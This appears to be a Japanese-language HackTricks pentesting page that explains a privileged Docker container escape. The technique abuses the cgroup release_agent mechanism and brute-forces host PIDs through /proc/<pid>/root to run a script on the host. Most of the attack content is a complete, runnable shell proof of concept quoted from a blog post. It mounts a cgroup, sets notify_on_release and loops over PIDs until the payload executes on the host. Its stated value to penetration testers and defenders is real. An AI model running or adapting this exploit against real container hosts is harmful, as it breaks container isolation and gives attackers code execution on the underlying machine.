tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
さらなる詳細については、https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.htmlのブログポートを確認してください。これは要約に過ぎません:
この技術は、コンテナ内からホストコードを実行する方法を概説しており、Kata Containersや特定のdevicemapper
設定のように、ホスト上のコンテナのファイルシステムパスを隠すストレージドライバ構成によって引き起こされる課題を克服します。
主なステップ:
- プロセスID(PID)の特定: Linuxの擬似ファイルシステム内の
/proc/<pid>/root
シンボリックリンクを使用して、コンテナ内の任意のファイルにホストのファイルシステムに対して相対的にアクセスできます。これにより、ホスト上のコンテナのファイルシステムパスを知る必要がなくなります。 - PIDバッシング: ホスト上のPIDを検索するためにブルートフォースアプローチが採用されます。これは、
/proc/<pid>/root/<file>
に特定のファイルの存在を順次確認することによって行われます。ファイルが見つかると、それに対応するPIDがターゲットコンテナ内で実行されているプロセスに属していることを示します。 - 実行のトリガー: 推測されたPIDパスが
cgroups release_agent
ファイルに書き込まれます。このアクションはrelease_agent
の実行をトリガーします。このステップの成功は、出力ファイルの作成を確認することで確認されます。
攻撃プロセス
攻撃プロセスは、コンテナ内で実行されているプロセスの正しいPIDを推測してホスト上でペイロードを実行することを目的とした、より詳細な一連のアクションを含みます。以下のように展開されます:
- 環境の初期化: ホスト上にペイロードスクリプト(
payload.sh
)が準備され、cgroup操作のためのユニークなディレクトリが作成されます。 - ペイロードの準備: ホスト上で実行されるコマンドを含むペイロードスクリプトが書かれ、実行可能にされます。
- Cgroupの設定: cgroupがマウントされ、構成されます。
notify_on_release
フラグが設定され、cgroupが解放されるとペイロードが実行されるようにします。 - PIDのブルートフォース: ループが潜在的なPIDを反復し、各推測されたPIDを
release_agent
ファイルに書き込みます。これにより、ペイロードスクリプトがrelease_agent
として設定されます。 - 実行のトリガーと確認: 各PIDについて、cgroupの
cgroup.procs
に書き込まれ、PIDが正しい場合にrelease_agent
の実行がトリガーされます。ペイロードスクリプトの出力が見つかるまでループは続き、成功した実行を示します。
ブログ投稿からのPoC:
#!/bin/sh
OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &
# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__
# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}
# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。